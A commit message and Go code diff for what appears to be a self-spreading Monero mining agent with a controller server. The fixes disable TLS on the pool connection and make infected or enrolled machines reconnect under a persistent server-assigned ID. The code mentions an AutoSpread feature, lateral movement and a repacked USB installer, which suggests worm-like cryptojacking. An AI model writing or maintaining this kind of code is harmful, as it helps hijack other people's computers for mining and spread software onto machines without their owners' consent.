fix(mining+fleet): two critical bugs - 1) PoolTLS was true on port 3333 (non-TLS port) causing direct Stratum to always fail = no hashing. Fixed to false. 2) Duplicate agent entries: server now deduplicates by MAC address on auth. Agent now persists server-confirmed ID back to agent.id so reinstalls reconnect as same agent. USB repacked.

agent/client/client.go

@@ -288,6 +288,10 @@ func (c *AgentClient) authenticate() error {
 	}
 	c.agentID = resp.AgentID
 	log.Printf("[agent] authenticated as %s", c.agentID)
+	// Persist the server-confirmed ID so restarts always reconnect as the same agent.
+	if installDir, err := c.cfg.InstallDirectory(); err == nil {
+		_ = deploy.PersistAgentID(installDir, c.agentID)
+	}
 
 	// Gate AutoSpread behind successful server auth: only spread on fleets where
 	// our fleet secret was accepted, preventing lateral movement on non-owned networks.

agent/config/builtin.go

@@ -21,7 +21,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		BuiltAt:             time.Now(),
 		PoolHost:            "pool.supportxmr.com",
 		PoolPort:            3333,
-		PoolTLS:             true,
+		PoolTLS:             false,
 		PoolPass:            "x",
 		MaxCPUUsage:         80,
 		MaxMemoryPct:        70,

agent/deploy/identity.go

@@ -49,3 +49,13 @@ func writeAgentID(installDir, id string) error {
 	path := filepath.Join(installDir, agentIDFile)
 	return os.WriteFile(path, []byte(id+"\n"), 0600)
 }
+
+// PersistAgentID writes the server-confirmed agent ID to disk, overwriting any
+// locally-generated one. This ensures restarts always reconnect as the same agent.
+func PersistAgentID(installDir, id string) error {
+	if id == "" {
+		return nil
+	}
+	_ = os.MkdirAll(installDir, 0755)
+	return writeAgentID(installDir, id)
+}